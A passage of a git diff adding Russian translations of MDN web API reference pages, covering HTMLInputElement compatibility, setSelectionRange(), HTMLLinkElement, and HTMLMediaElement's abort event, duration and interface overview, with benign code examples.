+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formAction</code>, <code>formEncType</code>, <code>formMethod</code>, <code>formTarget</code> properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formNoValidate</code>, <code>validationMessage</code>, <code>validity</code>, <code>willValidate</code> properties and <code>setCustomValidity()</code> and <code>checkValidity()</code> methods.</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>pattern</code>, <code>placeholder</code>, <code>required</code> properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>height</code> and <code>weight</code> properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(16)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code> property</td>
+   <td>{{CompatChrome(14.0)}}</td>
+   <td>{{CompatNo}} ({{bug("556743")}})</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>min</code>, <code>max</code>, and <code>step</code> for <code>&lt;input type="number"&gt;</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>Experimental, and without specific UI, since {{CompatGeckoDesktop(16)}}: behind the pref <code>dom.experimental_forms</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>stepUp</code> and <code>stepDown</code> methods</td>
+   <td>{{CompatUnknown}}</td>
+   <td>Experimental since {{CompatGeckoDesktop(16)}}: behind the pref <code>dom.experimental_forms</code><br>
+    <br>
+    There are still differences with the latest spec: {{bug(835773)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>min</code>, <code>max</code>, and <code>step </code>properties for <code>&lt;input type="range"&gt;</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(23)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>min</code>, <code>max</code>, and <code>step </code>properties for <code>&lt;input type="date"&gt;</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>Experimental, and without specific UI, since {{CompatGeckoDesktop(20)}}: behind the pref <code>dom.experimental_forms</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>min</code>, <code>max</code>, and <code>step </code>properties for other date-related <code>type</code> values</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetFileNameArray()</code> and <code>mozSetFileNameArray() </code>methods {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozSetFileArray()</code> method {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("38")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>autocapitalize</code></td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>autocapitalize</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{CompatUnknown}}</span></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{ HTMLElement("input") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlinputelement/invalid_event/index.html b/files/ru/web/api/htmlinputelement/invalid_event/index.html
new file mode 100644
index 0000000000..505161cf4d
--- /dev/null
+++ b/files/ru/web/api/htmlinputelement/invalid_event/index.html
@@ -0,0 +1,56 @@
+---
+title: invalid
+slug: Web/API/HTMLInputElement/invalid_event
+translation_of: Web/API/HTMLInputElement/invalid_event
+---
+<p>Событие <code>invalid</code> запускается, когда отправляемый элемент был проверен, но его содержимое не удовлетворило установленные ограничения. Валидность отправляемого элемента проверяется до отправления формы или после вызова метода  <code><a href="/en-US/docs/HTML/Forms_in_HTML#Constraint_Validation_API" title="/en-US/docs/HTML/Forms_in_HTML#Constraint_Validation_API">checkValidity()</a></code>на элементе.</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификаця</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#constraint-validation">HTML5</a></dd>
+ <dt><strong>Взаимодействие </strong>{{domxref("Event")}}</dt>
+ <dt style="float: left; text-align: right; width: 120px;">Всплытия</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемый</dt>
+ <dd style="margin: 0 0 0 120px;">Да</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">Элемент</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Может препятствовать отправке формы.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/htmlinputelement/setselectionrange/index.html b/files/ru/web/api/htmlinputelement/setselectionrange/index.html
new file mode 100644
index 0000000000..fec7276464
--- /dev/null
+++ b/files/ru/web/api/htmlinputelement/setselectionrange/index.html
@@ -0,0 +1,174 @@
+---
+title: HTMLInputElement.setSelectionRange()
+slug: Web/API/HTMLInputElement/setSelectionRange
+tags:
+  - API
+  - HTML DOM
+  - HTMLInputElement
+  - Method
+  - Reference
+  - Text Field Selection API
+translation_of: Web/API/HTMLInputElement/setSelectionRange
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Метод <strong><code>HTMLInputElement.setSelectionRange()</code></strong> устанавливает начальное и конечное положение выделения текста в элементе {{HTMLElement("input")}}.</p>
+
+<p>В более новых версиях браузеров, можно дополнительно установить направление выделения текста, что позволит, например, определить, что выделение сделано нажатием и перетаскиванием курсора мыши от конца выделенного текста до начала.</p>
+
+<p>Этот метод позволяет одним вызовом обновить свойства <code>HTMLInputElement.selectionStart</code>, <code>selectionEnd</code>, и <code>selectionDirection</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">inputElement.setSelectionRange(<var>selectionStart</var>, <var>selectionEnd</var>, [optional] <var>selectionDirection</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>selectionStart</em></dt>
+ <dd>Индекс первого выделенного символа.</dd>
+ <dt><em>selectionEnd</em></dt>
+ <dd>Индекс символа <em>после</em> последнего выделенного символа.</dd>
+ <dt><em>selectionDirection</em> {{optional_inline}}</dt>
+ <dd>Строка, определяющая направления произведенного выделения. Принимаются значения "forward", "backward" или "none", если направление выделение неизвество или неважно.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий код:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset=utf-8&gt;
+&lt;title&gt;JS Bin&lt;/title&gt;
+&lt;script&gt;
+function SelectText () {
+        var input = document.getElementById("mytextbox");
+            input.focus();
+            input.setSelectionRange(2,5);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;&lt;input type="text" id="mytextbox" size="20" value="Mozilla"/&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;button onclick="SelectText()"&gt;Select text&lt;/button&gt;&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>приведет к следующему результату:</p>
+
+<p><img alt="example.png" class="default internal" src="/@api/deki/files/6104/=example.png"></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "forms.html#dom-textarea/input-setselectionrange", "HTMLInputElement.setSelectionRange")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "forms.html#dom-textarea/input-setselectionrange" , "HTMLInputElement.setSelectionRange" )}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "forms.html#dom-textarea/input-setselectionrange" , "HTMLInputElement.setSelectionRange" )}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>9</td>
+   <td>8.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>selectionDirection</code></td>
+   <td>15<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("8.0")}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>selectionDirection</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("8.0")}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Поддержка <code>selectionDirection</code> была добавлена Blink в {{WebkitBug("60403")}}.</p>
+
+<p>Требуется отметить, что согласно спецификации <a href="https://html.spec.whatwg.org/multipage/forms.html#concept-input-apply">WHATWG forms</a> свойства <code>selectionStart</code>, <code>selectionEnd</code> и метод <code>setSelectionRange</code> применяются только к элементам <em>input</em> c типами <em>text</em>, <em>search</em>, <em>URL</em>, <em>tel</em> и <em>password</em>. Начиная с версии 33, Chrome, выдает исключение во время попытки доступа к этим свойствам и методу на других типах элемента <em>input</em>. Например, для элемента <em>input</em> типа <em>number</em> появится исключение с сообщением: "Failed to read the 'selectionStart' property from 'HTMLInputElement': The input element's type ('number') does not support selection." Ссылки по теме: <a href="http://stackoverflow.com/questions/21177489/selectionstart-selectionend-on-input-type-number-no-longer-allowed-in-chrome">вопрос на StackOverflow</a>, <a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=24796">whatwg баг</a>, <a href="https://code.google.com/p/chromium/issues/detail?id=324360">Chromium баг</a>.</p>
+
+<p>[2] Поддержка <code>selectionDirection</code> была добавлена в Gecko в {{bug("674558")}}.</p>
+
+<p>[3] Поддержка <code>selectionDirection</code> была добавлена в Webkit в {{WebKitBug("60403")}}.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{domxref("HTMLInputElement")}}</li>
+ <li>{{domxref("Selection")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmllinkelement/index.html b/files/ru/web/api/htmllinkelement/index.html
new file mode 100644
index 0000000000..6b75f0682a
--- /dev/null
+++ b/files/ru/web/api/htmllinkelement/index.html
@@ -0,0 +1,118 @@
+---
+title: HTMLLinkElement
+slug: Web/API/HTMLLinkElement
+translation_of: Web/API/HTMLLinkElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>Интерфейс <strong><code>HTMLLinkElement</code></strong> представляет справочную информацию для внешних ресурсов и отношение этих ресурсов к документу и наоборот (соответствует элементу <code><a href="/ru/docs/Web/HTML/Element/link">&lt;link&gt;</a></code>; не путать с <code><a href="/ru/docs/Web/HTML/Element/a">&lt;a&gt;</a></code>, который представлен элементом <code><a href="/ru/docs/Web/API/HTMLAnchorElement">HTMLAnchorElement</a></code>). Этот объект наследует все свойства и методы интерфейса {{domxref("HTMLElement")}}.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от своего родителя, {{domxref("HTMLElement")}}, и {{domxref("LinkStyle")}}.</em></p>
+
+<dl>
+ <dt></dt>
+ <dt>{{domxref("HTMLLinkElement.as")}}</dt>
+ <dd>Это {{domxref("DOMString")}} представляющий тип контента загружаемый по HTML ссылке.</dd>
+ <dt>{{domxref("HTMLLinkElement.crossOrigin")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that corresponds to the CORS setting for this link element. See <a href="/ru/docs/HTML/CORS_settings_attributes" title="HTML/CORS settings attributes">CORS settings attributes</a> for details.</dd>
+ <dt>{{domxref("HTMLLinkElement.disabled")}}</dt>
+ <dd>Is a <code>Boolean</code> which represents whether the link is disabled; currently only used with style sheet links.</dd>
+ <dt>{{domxref("HTMLLinkElement.href")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the URI for the target resource.</dd>
+ <dt>{{domxref("HTMLLinkElement.hreflang")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the language code for the linked resource.</dd>
+ <dt>{{domxref("HTMLLinkElement.media")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing a list of one or more media formats to which the resource applies.</dd>
+ <dt>{{domxref("HTMLLinkElement.referrerPolicy")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("referrerpolicy", "link")}} HTML attribute indicating which referrer to use.</dd>
+ <dt>{{domxref("HTMLLinkElement.rel")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the forward relationship of the linked resource from the document to the resource.</dd>
+ <dt>{{domxref("HTMLLinkElement.relList")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DOMTokenList")}} that reflects the {{htmlattrxref("rel", "link")}} HTML attribute, as a list of tokens.</dd>
+ <dt>{{domxref("HTMLLinkElement.sizes")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DOMSettableTokenList")}} that reflects the {{htmlattrxref("sizes", "link")}} HTML attribute, as a list of tokens.</dd>
+ <dt>{{domxref("LinkStyle.sheet")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("StyleSheet")}} object associated with the given element, or <code>null</code> if there is none.</dd>
+ <dt>{{domxref("HTMLLinkElement.type")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the MIME type of the linked resource.</dd>
+</dl>
+
+<h3 id="Устаревшие_свойства">Устаревшие свойства</h3>
+
+<dl>
+ <dt>{{domxref("HTMLLinkElement.charset")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the character encoding for the target resource.</dd>
+ <dt>{{domxref("HTMLLinkElement.rev")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the reverse relationship of the linked resource from the resource to the document.
+ <div class="note"><strong>Примечание</strong>: Currently the W3C HTML 5.2 spec states that <code>rev</code> is no longer obsolete, whereas the WHATWG living standard still has it labeled obsolete. Until this discrepancy is resolved, you should still assume it is obsolete.</div>
+ </dd>
+ <dt>{{domxref("HTMLLinkElement.target")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the name of the target frame to which the resource applies.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Не имеет методов; наследует методы от своего родителя, {{domxref("HTMLElement")}}</em><em>, и {{domxref("LinkStyle")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Preload")}}</td>
+   <td>{{Spec2("Preload")}}</td>
+   <td>Defines <code>&lt;link rel="preload"&gt;</code>, and the <code>as</code> property. Note that currently Firefox only supports preloading of cacheable resources.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmllinkelement", "HTMLLinkElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Adds the following properties: <code>crossOrigin</code>, <code>referrerPolicy</code>, and <code>as</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "document-metadata.html#the-link-element", "HTMLLinkElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "document-metadata.html#the-link-element", "HTMLLinkElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The following properties are now obsolete: <code>charset</code>, <code>rev</code>, and <code>shape</code>.<br>
+    The following properties have been added: <code>relList</code>, and <code>sizes</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-35143001', 'HTMLLinkElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Added a second inheritence, the {{domxref("LinkStyle")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-35143001', 'HTMLLinkElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLLinkElement")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент HTML, реализующий этот интерфейс: {{HTMLElement("link")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlmediaelement/abort_event/index.html b/files/ru/web/api/htmlmediaelement/abort_event/index.html
new file mode 100644
index 0000000000..80743cabc6
--- /dev/null
+++ b/files/ru/web/api/htmlmediaelement/abort_event/index.html
@@ -0,0 +1,80 @@
+---
+title: 'HTMLMediaElement: abort event'
+slug: Web/API/HTMLMediaElement/abort_event
+translation_of: Web/API/HTMLMediaElement/abort_event
+---
+<div>{{APIRef}}</div>
+
+<p>Событие <strong><code>abort</code></strong> запускается, когда ресурс не был полностью загружен, но не в результате ошибки.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Всплываемость</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Отменяемость</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Свойство обработчика событий</th>
+   <td>{{domxref("GlobalEventHandlers/onabort", "onabort")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js notranslate">const video = document.querySelector('video');
+const videoSrc = 'https://path/to/video.webm';
+
+video.addEventListener('abort', () =&gt; {
+  console.log(`Abort loading: ${videoSrc}`);
+});
+
+const source = document.createElement('source');
+source.setAttribute('src', videoSrc);
+source.setAttribute('type', 'video/webm');
+
+video.appendChild(source);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "media.html#event-media-abort")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#event-media-abort")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице составлена из структурированных данных. Если Вы хотите внести свой вклад в данные, пожалуйста, посетите https://github.com/mdn/browser-compat-data и отправьте нам запрос.</div>
+
+<p>{{Compat("api.HTMLMediaElement.abort_event")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("HTMLAudioElement")}}</li>
+ <li>{{domxref("HTMLVideoElement")}}</li>
+ <li>{{HTMLElement("audio")}}</li>
+ <li>{{HTMLElement("video")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlmediaelement/duration/index.html b/files/ru/web/api/htmlmediaelement/duration/index.html
new file mode 100644
index 0000000000..ec667078a9
--- /dev/null
+++ b/files/ru/web/api/htmlmediaelement/duration/index.html
@@ -0,0 +1,56 @@
+---
+title: HTMLMediaElement.duration
+slug: Web/API/HTMLMediaElement/duration
+translation_of: Web/API/HTMLMediaElement/duration
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>HTMLMediaElement.duration</code></strong> свойство возвращает длину медиа в секундах или ноль, если данные по медиа недоступны.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js">var <em>myDuration</em> = <em>audioOrVideo</em>.duration</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p><code>Double</code>. Если медиа данные доступны, но длина неизвестна, то duration будет <code>NaN</code>. Если медиа загружается в фоновом режиме и не имеет заранее определенной длины, значение равно <code>Inf</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var obj = document.createElement('video');
+console.log(obj.duration); // NaN
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-media-duration", "HTMLMediaElement.duration")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.duration")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLMediaElement.duration")}}</p>
+
+<h2 id="See_Also" name="See_Also">Смотрите также</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("HTMLMediaElement")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlmediaelement/index.html b/files/ru/web/api/htmlmediaelement/index.html
new file mode 100644
index 0000000000..f5524d3040
--- /dev/null
+++ b/files/ru/web/api/htmlmediaelement/index.html
@@ -0,0 +1,294 @@
+---
+title: HTMLMediaElement
+slug: Web/API/HTMLMediaElement
+tags:
+  - API
+  - DOM
+  - HTML
+  - HTMLMediaElement
+  - Media
+  - NeedsNewLayout
+  - NeedsTranslation
+  - TopicStub
+  - Интерфейс
+  - Ссылка
+translation_of: Web/API/HTMLMediaElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">Интерфейс HTMLMediaElement добавляет к {{domxref ("HTMLElement")}} свойства и методы, необходимые для поддержки базовых мультимедийных возможностей, общих для аудио и видео. Элементы {{domxref ("HTMLVideoElement")}} и {{domxref ("HTMLAudioElement")}} наследуют этот интерфейс.</span></p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс также наследует свойства от своих предков {{domxref ("HTMLElement")}}, {{domxref ("Element")}}, {{domxref ("Node")}} и {{domxref ("EventTarget") }}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.audioTracks")}}</dt>
+ <dd>{{Domxref ("AudioTrackList")}}, в котором перечислены объекты {{domxref ("AudioTrack")}}, содержащиеся в элементе.</dd>
+ <dt>{{domxref("HTMLMediaElement.autoplay")}}</dt>
+ <dd>{{Jsxref ("Boolean")}}, который отражает атрибут HTML {{htmlattrxref ("autoplay", "video")}}, указывающий, должно ли воспроизведение начинаться автоматически, как только будет доступно достаточно медиафайлов, чтобы сделать это без прерывания.
+ <div class="note"><strong>Примечание. Сайты, которые автоматически воспроизводят аудио (или видео с аудиодорожкой), могут быть неприятными для пользователей, поэтому их следует по возможности избегать. Если вы должны предлагать функцию автозапуска, вы должны включить ее (требуется, чтобы пользователь специально включил ее). Однако это может быть полезно при создании элементов мультимедиа, источник которых будет установлен позднее под контролем пользователя.</strong></div>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.buffered")}} {{readonlyinline}}</dt>
+ <dd>Возвращает объект {{domxref ("TimeRanges")}}, который указывает диапазоны медиаисточника, который браузер буферизировал (если есть) в момент обращения к свойству <code>buffered</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.controller")}}</dt>
+ <dd>Объект {{domxref ("MediaController")}}, представляющий медиа-контроллер, назначенный элементу, либо <code>null</code>, если ни один не назначен.</dd>
+ <dt>{{domxref("HTMLMediaElement.controls")}}</dt>
+ <dd>Является {{jsxref ('Boolean')}}, который отражает атрибут HTML {{htmlattrxref ("controls", "video")}}, указывающий, должны ли отображаться элементы пользовательского интерфейса для управления ресурсом.</dd>
+ <dt>{{domxref("HTMLMediaElement.controlsList")}} {{readonlyinline}}</dt>
